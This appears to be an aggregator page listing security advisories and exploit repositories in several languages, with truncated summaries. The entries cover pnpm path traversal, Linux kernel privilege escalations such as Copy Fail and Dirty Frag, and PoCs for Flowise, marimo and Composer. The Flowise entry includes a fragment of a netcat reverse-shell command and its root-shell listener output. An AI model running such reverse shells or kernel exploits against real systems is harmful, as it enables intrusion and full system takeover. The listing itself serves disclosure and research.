GHSA-C59Q-G84Q-2GJ5 pnpm: Virtual store linker path traversal via unvalidated depPath name in lockfileToDepGraph

Summary The virtual store linker constructs package installation directories using path.joinmodules, pkgName where pkgName is extracted from lockfile packages keys via dp.parsedepPath.name without validation. A crafted pnpm-lock.yaml with traversal sequences in depPath keys e.g.,...

pnpm: Virtual store linker path traversal via unvalidated depPath name in lockfileToDepGraph

Summary The virtual store linker constructs package installation directories using path.joinmodules, pkgName where pkgName is extracted from lockfile packages keys via dp.parsedepPath.name without validation. A crafted pnpm-lock.yaml with traversal sequences in depPath keys e.g.,...

GHSA-VQ4V-J7R6-JQ4M pnpm: A tarball dependency's manifest `name` escapes node_modules → arbitrary file write/overwrite on install

Summary When resolving a package, pnpm uses the resolved manifest name as a raw path segment for the isolated-linker import target. A tarball dependency whose package.json name is a scoped path traversal @x/../../…/ is therefore extracted outside nodemodules, to an attacker-chosen absolute path,...

pnpm: A tarball dependency's manifest `name` escapes node_modules → arbitrary file write/overwrite on install

Summary When resolving a package, pnpm uses the resolved manifest name as a raw path segment for the isolated-linker import target. A tarball dependency whose package.json name is a scoped path traversal @x/../../…/ is therefore extracted outside nodemodules, to an attacker-chosen absolute path,...

CVE-2026-78408

The nsenter --join-cgroup option opens the target cgroup.procs file as root and leaves that file descriptor open across later namespace and credential changes and across execve. Because the kernel checks later cgroup migrations using the credentials from the original open, a program run in an...

copy_fail

Copy Fail — CVE-2026-31431 CVE-2026-31431（Copy Fail）是 Linux 内核 algifaead 模块（AFALG 子系统）中的一个本地权限提升漏洞。2017 年 8 月引入的一个逻辑缺陷允许任何无特权的本地用户通过 AFALG + splice 向任意可读文件的页缓存中写入 4 个受控字节，然后执行被篡改的 setuid 二进制文件以获得 root 权限。该漏洞利用是确定性的——无需竞态条件、无需内核偏移、不会导致系统崩溃。它影响所有搭载 4.14 至 7.0-rc 内核的主流 Linux 发行版。 CVSS：7.8 | 修复版本：内核...

CVE-2025-39247

CVE-2025-39247 대상: HikCentral Professional HCMP, 중앙 VMS 서버 CVE: CVE-2025-39247 — 접근 제어 취약점 CVSS 3.1: 8.6 AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N 영향받는 버전: V2.3.1 – V2.6.2 및 V3.0.0 수정 버전: V2.6.3 / V3.0.1 / Fix-Pack CVE-2025-39247 공개일: 2025-08-28 분석일: 2026-05-21 1. 오픈소스 정보 수집 단계 다운로드 전에 이미 공개된 정보는 다음과...

cve-2026-31431-algif-aead-remediator

CVE-2026-31431 / GHSA-2274-3hgr-wxv6 — algifaead 修復ツール 深刻度: 高 CVSS 7.8 — CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H 背景 CVE-2026-31431 は、Linuxカーネルの algifaead モジュール（AFALG...

CVE-2026-36356

CVE-2026-36356: MeiG Smart FORGESLT711 GoAhead — 認証不要のOSコマンドインジェクション /action/SetRemoteAccessCfg CVE : CVE-2026-36356 CWE : CWE-78, CWE-306 発見者 : Daniil Gordeev 公開日 : 2026-05-03 概要 MeiG Smart FORGESLT711 4G LTE CPE デバイスに同梱されている GoAhead Webサーバーは、認証なしでアクセス可能なHTTPエンドポイント /action/SetRemoteAccessCfg...

CVE-2026-39987-Lab

CVE-2026-39987 — marimo 事前認証ターミナル WebSocket RCE ラボ marimo における CVE-2026-39987 を再現・理解するためのローカル専用 Docker ラボです。 このプロジェクトは、脆弱な marimo サービスとパッチ適用済みの marimo サービスを並べて比較し、最小限の害しか及ぼさない証明スクリプトを用いてその違いを示します。 エグゼクティブサマリー CVE-2026-39987 は、リアクティブ Python ノートブックフレームワークである marimo における、重大な事前認証リモートコード実行の脆弱性です。...

chpwd

폐기됨 이것은 CLI 비밀번호 금고의 이전 버전입니다. 개발은 vlt로 이전되었습니다: https://codeberg.org/artich0ke/vlt GitHub 미러: https://github.com/b0lbas/vlt. 유틸리티를 계속 다운로드하거나 개인 비밀번호 저장소로 사용할 수는 있지만, 둘 다 권장되지는 않습니다. chpwd 최소한의 고도로 안전한 CLI 비밀번호 관리자. 경고: 이것은 제로-지식Zero-Knowledge 시스템입니다. 복구 키도 "비밀번호 찾기" 버튼도 없습니다. 마스터 키를 분실하면 데이터는 영...

Copyfail-sh

copyfail-sh レースなし。オフセットなし。盲目的に信頼するプレビルドバイナリもなし。 CVE-2026-31431（Copy Fail）の bash 実装です。このスクリプトは、実行時にインラインで最小限の C ヘルパーをコンパイルします。bash 層はアーキテクチャ検出、ペイロード展開、ターゲット選択を担当し、C 層は bash 単体では到達できない実際のカーネル操作（AFALG ソケット、splice、sendmsg）を実行します。 完全な技術解説は copy.fail を参照してください。 仕組み（要約） バグはカーネルの AFALG AEAD ソケットインターフェースで...

DirtyFrag-go

dirtyfrag-go 두 개의 버그. 하나의 셸. 디스크 쓰기 없음. Go 포팅 dirtyfrag CVE-2026-43284 / CVE-2026-43500. 작동 방식 요약 버그 클래스는 Linux 커널 XFRM 서브시스템에 있습니다. 파일 페이지가 splice로 파이프로 이동되고 ESP로 암호화된 소켓으로 이동될 때, 커널은 ESP 페이로드를 소스 파일의 페이지 캐시 페이지에 직접 제자리에서 복호화합니다. 파일은 읽기 전용입니다. 페이지 캐시는 그렇지 않습니다. dirtyfrag는 이 프리미티브를 활용하는 두 개의 독립적인...

CVE-2025-59528-Flowise-RCE

CVE-2025-59528-Flowise-RCE Flowise バージョン &1|nc 10.10.15.200 443 /tmp/f' リスナーを確認すると動作するはずです: root@kitploit: └─$ nc -lvnp 443 listening on any 443 ... connect to 10.10.15.200 from UNKNOWN 10.129.64.221 43393 sh: can't access tty; job control turned off / whoami root...

CVE-2026-84361-poc

CVE-2026-84361: Composer Perforce P4PORT コマンド実行 PoC English version Docker での実行 Docker Compose を使うと、影響を受ける Composer 2.10.2 と Perforce p4 クライアントを含む隔離環境で検証できます。実行コンテナはネットワーク無効、読み取り専用、capability 全削除とし、書き込み可能なのは tmpfs の /tmp と /work だけです。 root@kitploit: イメージをビルド（p4 は公式配布元から取得し SHA-256 を照合） docker...

Fragnesia-go

fragnesia-go SA1つ。一度に1バイト。レースなし。 fragnesia（CVE-2026-46300）のGo移植版です。Dirty Frag脆弱性クラスの一員 - 別のバグ、同じ攻撃面、独自のパッチ。 動作の仕組み tl;dr このバグはLinux XFRM ESP-in-TCPサブシステムに存在します。ファイルからTCP受信キューへデータがspliceされた後、ソケットにTCPULP...

Copy-Fail-CVE-2026-31431

Copy-Fail-CVE-2026-31431 Linuxカーネルの脆弱性 CVE-2026-31431 （別名 Copy Fail ）の概念実証エクスプロイト再現 です。 クレジット: Copy Fail 影響を受けるシステム Linuxカーネルバージョン 4.14以降 2017年からパッチ適用まで にリリースされた主要ディストリビューションの大半（Ubuntu、Debian、Fedora、RHEL...） オリジナルのエクスプロイトとの違い 最小化されていない読みやすいコード オリジナルのエクスプロイトコードはコンパクト このバージョンは完全に展開されている...

Seal

Seal ピアツーピア、エンドツーエンド暗号化チャット。 受信トレイなし。復元すべきアカウントなし。誰も聞いていない——私たちでさえも。 github.com/Emn4tor/Seal !GitHub last commithttps://img.shields.io/github/last-commit/Emn4tor/Seal?style=flat-square&color=4f8f86&...

duchamp-root

중국어 | 영어 +One-Click+Root;CVE-2026-43499+\IonStack+Exploit;710%E8%A7%A3%E9%94%81%E8%8A%82%E6%9C%80%E6%96%B0%E5%8A%9B%E4%BD%9C+%F0%9F%94%A5 -blue -green ⚡ JetBrains Mono 사용자 자랑 ⚡ 이 README는 오직 JetBrains Mono만 사용합니다. Comic Sans는 금지입니다. !IMPORTANT 🚨 면책 조항 이 익스플로잇은 교육 목적으로만 제공됩니다. 부트로더 잠금 해제는 보증을 무효화할 ...

flask-session-cookie-manager

Flask Session Cookie Decoder/Encoder Original author : Wilson Sumanang Fixes and improvements author : Alexandre ZANNI Imported from saruberoz.github.io Depencencies Python 2 or Python 3 itsdangerous Flask Installation Package BlackArch Linux root@kitploit: pacman -S flask-session-cookie-manager3...